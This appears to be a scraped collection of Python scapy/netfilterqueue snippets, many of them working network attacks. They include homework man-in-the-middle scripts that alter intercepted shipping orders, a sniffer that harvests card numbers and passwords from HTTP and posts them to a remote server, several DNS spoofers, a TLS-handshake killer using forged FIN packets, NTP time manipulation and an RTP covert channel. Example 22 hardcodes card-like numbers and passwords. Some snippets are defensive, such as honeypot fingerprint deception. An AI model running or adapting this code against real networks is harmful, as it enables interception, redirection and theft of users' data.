示例#1
0
def exercise3_call_back_function(pkt):
    '''
	This function is used by the exercise 3 function below
	to get the ip packets from raw payload.
	The exercise3 function recursively runs this function to solve 
	exercise 3	

	Input : the intercepted raw payload
	Output: The token and staus code

	'''
    url = 'http://com402.epfl.ch/hw1/ex3/shipping'  # This  is the url which we will use with request

    pkt.accept()  # accept the  packet (dont reject ot drop)
    payload = pkt.get_payload(
    )  # get the payload and store in variable payload
    ip = IP(payload)  # create an IP packet from payload

    if ip.haslayer(TCP) == True and ip[TCP].dport == 80:
        assert ip[TCP].dport == 80
        if ip.haslayer(Raw):
            #print (ip[Raw])
            http = ip[Raw].load.decode()
            if "shipping" in http:
                print("yes")

                data_ = "{" + http.split(
                    "{", 1)[1]  # split the payload anf extrat json.
                # This implies in the payload only the response starting with {  is needed.
                # This will correspond to where the json file starts.
                # A "{" was added in the expression because when we split from "{" in the payload,
                # The bracelet "{"" is excluded. But we need it to have a valid json format.
                # Hence, the need to add it  back  explicitly as "{" in the expression above
                data = json.loads(data_)  # load the new json file

                data[
                    'shipping_address'] = '*****@*****.**'  # Here we replace the shipping address

                header = {
                    "User-Agent": "Dumb Generator",
                    "Host": "com402.epfl.ch",
                    "Content-Type": "application/json",
                    "Content-Length": "91"
                }
                # It is possible to extract the header too from payload but since the header from payload has no
                # " "  double column ,  which is required for the request header format, this might amount to a for-loop computation
                # that might affect efficciency. The good thing is the header is not long so explicit declarationas above works well
                # to just construct a n
                #print (data) # Uncomment this to view data

                # Below we use the requests library to generate new packet, with the new json
                r = requests.post(url, data=json.dumps(data), headers=header)
                # The new json is response is provided as response below
                print("The token response: ")
                print(r.text)
                # We verify the status code is 200 = okay
                print("\n The status code: ")
                print(r.status_code)
示例#2
0
def process_packet(packet):
    spkt = IP(packet.get_payload())
    if spkt.haslayer(DNSRR):
        try:
            spkt = read_pkt(spkt)
        except IndexError:
            pass
        packet.set_payload(bytes(spkt))
    if spkt.haslayer(HTTPRequest):
        print(spkt[Raw])
    packet.accept()
示例#3
0
 def postcondition(packet):
     from scapy.all import IP
     pkt = IP(packet.get_payload())
     if pkt.haslayer('IP'):
         del pkt['IP'].chksum
         del pkt['IP'].len
     if pkt.haslayer('TCP'):
         del pkt['TCP'].chksum
     if pkt.haslayer('ICMP'):
         del pkt['ICMP'].chksum
     pkt.show2()
     packet.raw = bytes(pkt)
     return packet
示例#4
0
    def tcp_segment(self, packet, logger):
        """
        Segments a packet into two, given the size of the first packet (0:fragsize)
        Always returns two packets, since fragment is a branching action, so if we
        are unable to segment, it will duplicate the packet.
        """
        if not packet.haslayer("TCP") or not hasattr(
                packet["TCP"], "load") or not packet["TCP"].load:
            return packet, packet.copy(
            )  # duplicate if no TCP or no payload to segment

        # Get the original payload and delete it from the packet so it
        # doesn't come along when copying the TCP layer
        payload = packet["TCP"].load
        del (packet["TCP"].load)

        fragsize = self.fragsize
        if self.fragsize == -1 or self.fragsize > len(payload) - 1:
            fragsize = int(len(payload) / 2)

        # Craft new packets
        pkt1 = IP(packet["IP"]) / payload[:fragsize]
        pkt2 = IP(packet["IP"]) / payload[fragsize:]

        # We cannot rely on scapy's native parsing here - if a previous action has changed the
        # fragment offset, scapy will not identify this as TCP, so we must do it for scapy
        if not pkt1.haslayer("TCP"):
            pkt1 = IP(packet["IP"]) / TCP(bytes(pkt1["IP"].load))

        if not pkt2.haslayer("TCP"):
            pkt2 = IP(packet["IP"]) / TCP(bytes(pkt2["IP"].load))

        packet1 = actions.packet.Packet(pkt1)
        packet2 = actions.packet.Packet(pkt2)

        # Reset packet2's SYN number
        packet2["TCP"].seq += fragsize

        del packet1["IP"].chksum
        del packet2["IP"].chksum
        del packet1["IP"].len
        del packet2["IP"].len
        del packet1["TCP"].chksum
        del packet2["TCP"].chksum
        del packet1["TCP"].dataofs
        del packet2["TCP"].dataofs

        if self.correct_order:
            return [packet1, packet2]
        else:
            return [packet2, packet1]
示例#5
0
 def rewrite(self, pkt):
     ip = IP(pkt)
     if ip.haslayer(DNS):
         iph = ip.getlayer(IP)
         udph = ip.getlayer(UDP)
         dns = ip.getlayer(DNS)
         if dns.qr == 0:  # query
             record = {
                 'dst_ip':  iph.dst,
                 'time': datetime.utcnow()
             }
             self.records[dns.id] = record
             self.logger.debug("rewriting DNS query: %s to %s" % (iph.dst,
                 self.config['force_nameserver']))
             iph.dst = self.config['force_nameserver']
         elif dns.qr == 1:  # answer
             self.logger.debug("found DNS answer: " + dns.summary())
             record = self.records.get(dns.id, None)
             if record:
                 self.logger.debug("rewriting DNS answer: %s to %s" % (
                     iph.src, record['dst_ip']))
                 iph.src = record['dst_ip']
                 del self.records[dns.id]
         del iph.chksum
         del udph.chksum
         del iph.len
         del udph.len
         return str(iph / udph / dns)
示例#6
0
def print_and_accept(pkt):
    regex = re.compile("/ex4/")
    card_regex = re.compile("(\d{4})((\/|\.)\d{4}){3}")
    password_regex = re.compile("(pwd --- )([A-Z0-9:;<=>?@]{8,30})(\s)")
    pkt.accept()

    ip = IP(pkt.get_payload())

    if ip["TCP"].dport == 80 and ip.haslayer("Raw"):
        http = ip["Raw"].load.decode()

        if regex.search(http):
            #print(ip.show())
            #print(http)

            if card_regex.search(http):
                cc = card_regex.search(http).group()
                if cc not in return_list:
                    return_list.append(cc)

            if password_regex.search(http):
                password = password_regex.search(http).group().split()[2]
                if password not in return_list:
                    return_list.append(password)

    if len(return_list) >= 5:
        print(return_list)
        data = {"student_email": "*****@*****.**", "secrets": return_list}
        r = requests.post("http://com402.epfl.ch/hw1/ex4/sensitive", json=data)
        print(r.status_code)
        print(r.text)
示例#7
0
def callback(nfq_pkt):
    pkt = IP(nfq_pkt.get_payload())
    if pkt.haslayer(TCP):
        if not (seqgen_detect(nfq_pkt, pkt, cfg.fgrpt, cfg.service)
                or ecn_detect(nfq_pkt, pkt, cfg.fgrpt, cfg.service)
                or t2tot7_detect(nfq_pkt, pkt, cfg.fgrpt, cfg.service)
                or service_detect(nfq_pkt, pkt, cfg.fgrpt, cfg.service)):
            nfq_pkt.accept()

    elif pkt.haslayer(ICMP):
        if not icmp_detect(nfq_pkt, pkt, cfg.fgrpt):
            nfq_pkt.accept()

    elif pkt.haslayer(UDP):
        if not udp_detect(nfq_pkt, pkt, cfg.fgrpt):
            nfq_pkt.accept()
示例#8
0
def print_and_accept(pkt):
    regex = re.compile("/ex3/shipping")
    pkt.accept()

    ip = IP(pkt.get_payload())

    if ip["TCP"].dport == 80:
    	if ip.haslayer("Raw"):
    		http = ip["Raw"].load.decode()

    		if regex.search(http):
    			print("HTTP:")
    			print(http)
    			print("\nIP.show():")
    			print(ip.show())
    			
    			new_msg = json.loads(http.splitlines()[-1])
    			new_msg["shipping_address"] = "*****@*****.**"
    			
    			ip["Raw"].load = new_msg
    			print("\nIP.show() nr. 2:")
    			print(ip.show())

    			answer = requests.post("http://com402.epfl.ch/hw1/ex3/shipping", data=json.dumps(new_msg), headers={"Content-Type": "application/json"})
    			print("\nAnswer code:")
    			print(answer.status_code)
    			print("\nAnswer text:")
    			print(answer.text)
示例#9
0
def print_and_accept(pkt):
    
    payload = pkt.get_payload() # get the payload and store in variable payload
    ip = IP(payload) # create an IP packet from payload
    ###################### Get packer identities, to be used later ##########################################
    ip_src=ip.src # Src ip address
    ip_dst= ip.dst # destination ip address
    ip_dport = ip[TCP].dport # destination port
    ip_sport = ip[TCP].sport # src port
    ##########################################################################################################

    ################################# TLS packet identifiers##################################################
    TLSv1_2 = b'\x16\x03\x03' # identfier for TLS 1.2 handshake packet 
    TLSv1_1 = b'\x16\x03\x02' # identifier for TLS 1.2 handshake packet 
    ##########################################################################################################

    ################ Main Program LOgic for packet detection ################################################

    ########### ******************Main IF LOCK ****************************************#######################################3
    # checks if packet has raw and TCP poacket (2 conditions)
    if ip.haslayer(Raw) and  ip.haslayer(TCP):
            tls_load = ip[Raw].load # get raw packet
            
            if TLSv1_2 in tls_load or TLSv1_1 in tls_load:
                    pkt.drop() # drop packet of TLS v1.2 or 1.1
                    pkt_=IP(src=ip_dst , dst=ip_src) # Construct a new packet to send

                    #####################FIN PACKET generation ###################################
                    FIN=pkt_/TCP(sport=ip_dport, dport=ip_sport, flags="FA",seq= ip[TCP].ack,ack= ip[TCP].seq+1) # FIN packet with required port
                    # In the implementation the src and dest address have been reversed.
                    # This turns out to work especially in this solution.
                    # A solution is also possible without it being reversed.

                    ################# Send FIN packet #########################################33
                    sr1(FIN) # using sr1 instead of send ensures that the one waits for  acknowledgement should be received

                    ##################### And receipt of answer ##################################
                    LASTACK = pkt_/TCP(sport=ip_dport, dport=ip_sport, flags="A",seq= ip[TCP].ack,ack= ip[TCP].seq+1) # ack packet
                    send(LASTACK) # send ack packet
            ############################# else statementg to accêpt all other packets with RAW including TLSv1.0 #############################
            else:
                pkt.accept()# äccept all other poacket
    ######## else for the main IF block ###############################
    ########********This accept TCP packet (packet without raw) *************###########
    else:
        pkt.accept()
示例#10
0
def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            pass
        packet.set_payload(bytes(scapy_packet))
    packet.accept()
示例#11
0
    def callback(self, _, nfq_packet):
        # Get packetdata from nfqueue packet and build a Scapy packet
        pkt = IP(nfq_packet.get_data())

        # check TCP packets
        if pkt.haslayer(TCP):
            check_TCP_probes(pkt, nfq_packet, self.os_pattern)

        # check ICMP packets
        elif pkt.haslayer(ICMP):
            check_ICMP_probes(pkt, nfq_packet, self.os_pattern)

        # check UDP packets
        elif pkt.haslayer(UDP):
            check_UDP_probe(pkt, nfq_packet, self.os_pattern)

        # don't analyse it, continue to destination
        else:
            forward_packet(nfq_packet)
        return 0
示例#12
0
    def callback(self, _, nfq_packet):
        # Get packetdata from nfqueue packet and build a Scapy packet
        pkt = IP(nfq_packet.get_data())

        # check TCP packets
        if pkt.haslayer(TCP):
            check_TCP_probes(pkt, nfq_packet, self.os_pattern)

        # check ICMP packets
        elif pkt.haslayer(ICMP):
            check_ICMP_probes(pkt, nfq_packet, self.os_pattern)

        # check UDP packets
        elif pkt.haslayer(UDP):
            check_UDP_probe(pkt, nfq_packet, self.os_pattern)

        # don't analyse it, continue to destination
        else:
            forward_packet(nfq_packet)
        return 0
示例#13
0
 def callback(packet):
     payload = packet.get_payload()
     pkt = IP(payload)
     if (pkt.haslayer(DNSQR)
             and self.site in pkt[DNS].qd.qname):
         print("spoofing site")
         spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
             UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
             DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                 an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10,
                          rdata=self.new_site))
         packet.set_payload(bytes(spoofed_pkt))
     packet.accept()
示例#14
0
    def start(self, _, nfq_packet):
        # Get packetdata from nfqueue packet and build a Scapy packet
        pkt = IP(nfq_packet.get_data())

        # check TCP packets
        if pkt.haslayer(TCP):
            try:
                check_TCP_probes(pkt, nfq_packet, self.OSPattern)
            except KeyboardInterrupt:
                print " Press Ctrl+C to exit"
                os.system('iptables -F')

        # check ICMP packets
        elif pkt.haslayer(ICMP):
            check_ICMP_probes(pkt, nfq_packet, self.OSPattern)

        # check UDP packets
        elif pkt.haslayer(UDP):
            check_UDP_probe(pkt, nfq_packet, self.OSPattern)

        # don't analyse it, continue to destination
        else:
            forward_packet(nfq_packet)
示例#15
0
def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        qname = scapy_packet[DNSQR].qname
        if args.target in qname.decode():
            print("Spoofing target")
            answer = DNSRR(rrname=qname, rdata=args.new_ip)
            scapy_packet[DNS].an = answer
            scapy_packet[DNS].ancount = 1
            del scapy_packet[IP].len
            del scapy_packet[IP].chksum
            del scapy_packet[UDP].len
            del scapy_packet[UDP].chksum
            packet.set_payload(scapy_packet) # bytes(scapy_packet)
    packet.accept()
示例#16
0
def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.all.DNSRR):
        qname = scapy_packet[scapy.all.DNSQR].qname
        if b'bing.com' in qname:
            print("[+] Spoofing target.")
            answer = scapy.all.DNSRR(rrname=qname, rdata='1.1.1.1')
            scapy_packet[scapy.all.DNS].an = answer
            scapy_packet[scapy.all.DNS].ancount = 1

            del scapy_packet[scapy.all.IP].len
            del scapy_packet[scapy.all.IP].chksum
            del scapy_packet[scapy.all.UDP].len
            del scapy_packet[scapy.all.UDP].chksum

            packet.set_payload(bytes(scapy_packet))

        # print(scapy_packet.show())
    # print(packet.get_payload())
    packet.accept()
示例#17
0
def callback(pkt):  #qui ricevo il pacchetto e devo controllare se è rtp
    global first, last, ID, encr_msg, lastIndex
    packet = IP(pkt.get_payload())
    pkt.drop()
    if (
            packet.haslayer("UDP") and last == False and len(encr_msg) > 0
    ):  #il pacchetto ha udp, non è l'ultimo, la lunghezza del messaggio è > 0
        rtp = RTP(packet["UDP"].payload)
        if (rtp.haslayer("Raw")):
            if (len(encr_msg) > 0 and len(rtp["Raw"].load) > 0):
                if (first == True):
                    rtp["Raw"].load = b'\xbb\xbb' + rtp["Raw"].load[2:]
                    first = False
                    ID += 1
                    print(first)
                elif (ID < lastIndex and first == False):
                    ind = format(ID, '#04x')
                    if (len(ind) % 2 != 0):
                        ind = ind[:2] + '0' + ind[2:]
                        rtp["Raw"].load = bytes.fromhex(
                            ind[2:]) + (rtp["Raw"].load)[2:]
                    else:
                        rtp["Raw"].load = bytes.fromhex(
                            ind[2:]) + (rtp["Raw"].load)[1:]
                    ID += 1

                elif (ID == lastIndex):
                    rtp["Raw"].load = b'\xbb\xbb' + (rtp["Raw"].load)[2:]
                    last = True

                length = len(rtp["Raw"].load)
                chload = rtp["Raw"].load[length - 1:]
                chload, encr_msg = change(chload, encr_msg)
                rtp["Raw"].load = rtp["Raw"].load[:length - 1] + chload
                packet["UDP"].chksum = None
                packet["UDP"].payload = rtp
                #print((rtp["Raw"].load)[:2])

    send(packet, verbose=False)
    if (last): stop()
    return first, last, ID, lastIndex
示例#18
0
	def callBack(self, packet):
		scapyPacket = IP(packet.get_payload())
		if scapyPacket.haslayer(DNSRR):
			try:
				log.info(f'[original] { scapyPacket[DNSRR].summary()}')
				queryName = scapyPacket[DNSQR].qname
				if queryName in self.hostDict:
					scapyPacket[DNS].an = DNSRR(
						rrname=queryName, rdata=self.hostDict[queryName])
					scapyPacket[DNS].ancount = 1
					del scapyPacket[IP].len
					del scapyPacket[IP].chksum
					del scapyPacket[UDP].len
					del scapyPacket[UDP].chksum
					log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
				else:
					log.info(f'[not modified] { scapyPacket[DNSRR].rdata }')
			except IndexError as error:
				log.error(error)
			packet.set_payload(bytes(scapyPacket))
		return packet.accept()
示例#19
0
 def manipulate(self, package):
     pkt = IP(package.get_payload())
     udp = pkt.getlayer(UDP)
     del pkt.chksum
     del pkt.len
     del udp.chksum
     del udp.len
     if pkt.haslayer(NTP):
         ntp = pkt.getlayer(NTP)
     else:
         ntp = NTP(pkt.load)
     # Timestamp to UTC time
     self.log("---------------------------------")
     self.log("[*] NTP packet:")
     self.log("---------------------------------")
     ref = self.ntp_system(ntp.ref)
     recv = self.ntp_system(ntp.recv)
     sent = self.ntp_system(ntp.sent)
     # Upgrade the year
     new_ref = self.upgrade(ref)
     new_recv = self.upgrade(recv)
     new_sent = self.upgrade(sent)
     # UTC time to timestamp
     ntp.recv = self.system_ntp(new_recv)
     ntp.sent = self.system_ntp(new_sent)
     ntp.ref = self.system_ntp(new_ref)
     package.set_payload(bytes(pkt))
     #self.log('Packet !')
     self.log("Reference Timestamp : ")
     self.log("\t" + str(ref) + ' -> ' +
              str(datetime.datetime.fromtimestamp(new_ref)))
     self.log("Receive Timestamp : ")
     self.log("\t" + str(recv) + ' -> ' +
              str(datetime.datetime.fromtimestamp(new_recv)))
     self.log("Transmit Timestamp : ")
     self.log("\t" + str(sent) + ' -> ' +
              str(datetime.datetime.fromtimestamp(new_sent)))
     package.accept()
示例#20
0
def callback(pkt):
    global first, last, todecrypt, index, dizionario
    packet = IP(pkt.get_payload())
    pkt.accept()
    if (packet.haslayer("UDP") and last == False):
        rtp = RTP(packet["UDP"].payload)
        if (rtp.haslayer("Raw")):
            length = len(rtp["Raw"].load)
            if (length > 0 and rtp["Raw"].load[:1] == b'\xbb'
                    and first == True):
                toapp = rtp["Raw"].load[length - 1:]
                todecrypt.extend(toapp)
                dizionario[0] = toapp
                first = False
                #print(index)
            elif (rtp["Raw"].load[:2] == b'\xbb\xbb' and first == False):
                print("LAST.")
                toapp = rtp["Raw"].load[length - 1:]
                dizionario[65535] = toapp
                last = True
                decrypt()
            elif (first == False and last == False):
                if (index >= 255):
                    ind = rtp["Raw"].load[:2]
                    #print(int(ind.hex(), 16))
                    #print(rtp["Raw"].load[length-1:])
                else:
                    ind = rtp["Raw"].load[:1]
                toapp = rtp["Raw"].load[length - 1:]
                dizionario[int(ind.hex(), 16)] = toapp
                #dizionario[index] = toapp
                index += 1
                print("index: ", index)
        else:
            print("no layer Raw")
    return first, last, index, dizionario
	#incoming_time = int.from_bytes(decrypted_payload[0:8], byteorder='big')
	
	#incoming_pkt = IP(decrypted_payload[8:])
	incoming_pkt = IP(inbound_sidechannel_shaper.process_packet(sender, decrypted_payload))
	
	incoming_pkt.src = localdb_ipmappings[sender]
	
	#Debug
	#timediff = abs(incoming_time - int(time.time() * 1000))
	#sys.stderr.write("Incoming packet delayed by {} ms.\n".format(timediff))
	
	#Assign the appropriate destination IP (this is a constant)
	incoming_pkt.dst = CONST_DST_IP
	
	#Recalculate the IPv4 checksum
	del incoming_pkt.chksum
	
	#If this carries a UDP packet recalculate the checksum from the new pseudoheader
	if incoming_pkt.haslayer(UDP):
		del incoming_pkt[UDP].chksum
	
	#If this carries a TCP packet recalculate the checksum from the new pseudoheader
	if incoming_pkt.haslayer(TCP):
		del incoming_pkt[TCP].chksum
	
	incoming_pkt = incoming_pkt.__class__(bytes(incoming_pkt))
	
	#Send it over to Socat
	sys.stdout.buffer.write(socat_format(incoming_pkt))
	sys.stdout.buffer.flush()
示例#22
0
def exercise4_call_back_function(pkt):
    '''
	This function is used by the exercise 4 function below
	to get the ip packets from raw payload.
	The exercise4 function recursively runs this function to solve 
	exercise 4

	As part of the analysis the output of the print is piped to
	a text file and the sensitive data is carefully spotted.



	Input : the intercepted raw payload
	Output: The token and staus code
	'''

    url = 'http://com402.epfl.ch/hw1/ex4/sensitive'  # This  is the url which we will use with request

    pkt.accept()  # accept raw packet
    payload = pkt.get_payload()  # get the payload of raw packet
    #print(k)
    ip = IP(payload)  # create an ip packet

    if ip.haslayer(TCP) == True and ip[TCP].dport == 80:
        assert ip[TCP].dport == 80
        if ip.haslayer(Raw):
            #print (ip[Raw])
            http = ip[Raw].load.decode()
            #print(http.lstrip(' '))  # uncomment this to see the output. One possibility is to pipe the output to text file  when this is uncommented
            # this enables carful reading of sensitive information

    # we create the new json file for the payload/sensitive data and header
    data = {
        "student_email":
        "*****@*****.**",
        "secrets": [
            "5370/2586/7638/8964", "0470.5684.7704.8295",
            "7968/7126/0501/8790", "W;PGR5E@SU1X>", "=X5AN>?YN419PA"
        ]
    }

    header = {
        "User-Agent": "Dumb Generator",
        "Host": "com402.epfl.ch",
        "Content-Type": "application/json",
        "Content-Length": "452"
    }

    # post a request using payload and headr
    try:
        r = requests.post(url, data=json.dumps(data), headers=header)
        # The new response is provided as response below
        print("The token response: ")
        print(r.text)
        # We verify the status code is 200 = okay
        print("\n The status code: ")
        print(r.status_code)

        print("\n")
    except KeyboardInterrupt:
        pass
示例#23
0
    def tcp_segment(self, packet, logger):
        """
        Segments a packet into two, given the size of the first packet (0:fragsize)
        Always returns two packets, since fragment is a branching action, so if we
        are unable to segment, it will duplicate the packet.

        If overlap is specified, it will select n bytes from the second packet
        and append them to the first, and increment the sequence number accordingly
        """
        if not packet.haslayer("TCP") or not hasattr(
                packet["TCP"], "load") or not packet["TCP"].load:
            return packet, packet.copy(
            )  # duplicate if no TCP or no payload to segment

        # Get the original payload and delete it from the packet so it
        # doesn't come along when copying the TCP layer
        payload = packet["TCP"].load
        del (packet["TCP"].load)

        fragsize = self.fragsize
        if self.fragsize == -1 or self.fragsize > len(payload) - 1:
            fragsize = int(len(payload) / 2)

        # Craft new packets

        # Make sure we don't go out of bounds by choosing the min
        overlap_bytes = min(len(payload[fragsize:]), self.overlap)
        # Attach these bytes to the first packet
        pkt1 = IP(packet["IP"]) / payload[:fragsize + overlap_bytes]
        pkt2 = IP(packet["IP"]) / payload[fragsize:]

        # We cannot rely on scapy's native parsing here - if a previous action has changed the
        # fragment offset, scapy will not identify this as TCP, so we must do it for scapy
        if not pkt1.haslayer("TCP"):
            pkt1 = IP(packet["IP"]) / TCP(bytes(pkt1["IP"].load))

        if not pkt2.haslayer("TCP"):
            pkt2 = IP(packet["IP"]) / TCP(bytes(pkt2["IP"].load))

        packet1 = layers.packet.Packet(pkt1)
        packet2 = layers.packet.Packet(pkt2)

        # Reset packet2's SYN number
        if packet2["TCP"].seq + fragsize > MAX_UINT:
            # Wrap sequence numbers around if greater than MAX_UINT
            packet2["TCP"].seq = packet2["TCP"].seq + fragsize - MAX_UINT - 1
        else:
            packet2["TCP"].seq += fragsize

        del packet1["IP"].chksum
        del packet2["IP"].chksum
        del packet1["IP"].len
        del packet2["IP"].len
        del packet1["TCP"].chksum
        del packet2["TCP"].chksum
        del packet1["TCP"].dataofs
        del packet2["TCP"].dataofs

        if self.correct_order:
            return [packet1, packet2]
        else:
            return [packet2, packet1]
示例#24
0
def handle_packet(nfq_packet):
    try:
        pkt = IP(nfq_packet.get_payload())
    except:
        forward_packet(nfq_packet)
        return 0

    if pkt[IP].dst == '127.0.0.1':
        forward_packet(nfq_packet)
        return 0

    virtDevices = getVirtualDevices()  # Get Dict of virtual devices
    if pkt[IP].dst in virtDevices.keys(
    ):  # Check if the Packet is intended for any of the virtual devices
        fgrpt = virtDevices[pkt[
            IP].dst].cfg.fgrpt  # Get the OS Fingerprint of the virtual device
        mac = virtDevices[
            pkt[IP].dst].macAddr  # Get the MAC Address of the Virtual Device
        services = virtDevices[
            pkt[IP].dst].cfg.service  # Get the Services of the virtual device
        device_name = virtDevices[
            pkt[IP].dst].name  # Get the Name of the virtual device
        if pkt.haslayer(TCP):
            port = pkt[TCP].dport
        elif pkt.haslayer(UDP):
            port = pkt[UDP].dport
        else:
            port = 0
        try:
            parse_data = base64.encodebytes(
                nfq_packet.get_payload()).decode('ascii')
            data = {
                'timestamp': time.time(),
                'dst_ip': pkt[IP].dst,
                'host_os': device_name,
                'src_ip': pkt[IP].src,
                'services': port,
                'packet': parse_data
            }
            gc.LOG_PACKET.info(json.dumps(data))
        except Exception as e:
            print('Why?!' + str(e))

    else:
        forward_packet(
            nfq_packet
        )  # If packet not intended for the virtual devices, then forward it
        return 0

    #  Check if the packet layer is TCP
    if pkt.haslayer(TCP):
        if not (seqgen_detect(nfq_packet, pkt, fgrpt, mac, gc.SOCKET_INTERFACE)
                or ecn_detect(nfq_packet, pkt, fgrpt, mac, gc.SOCKET_INTERFACE)
                or t2tot7_detect(nfq_packet, pkt, fgrpt, mac,
                                 gc.SOCKET_INTERFACE)
                or service_detect(nfq_packet, pkt, fgrpt, mac, services,
                                  gc.SOCKET_INTERFACE)):
            forward_packet(nfq_packet)

    #  Check if the packet layer is ICMP
    elif pkt.haslayer(ICMP):
        if not icmp_detect(nfq_packet, pkt, fgrpt, mac, gc.SOCKET_INTERFACE):
            forward_packet(nfq_packet)

    #  Check if the packet layer is UDP
    elif pkt.haslayer(UDP):
        if not udp_detect(nfq_packet, pkt, fgrpt, mac, gc.SOCKET_INTERFACE):
            forward_packet(nfq_packet)

    #  Don't analyse the packet, let it continue to destination
    else:
        forward_packet(nfq_packet)
    return 0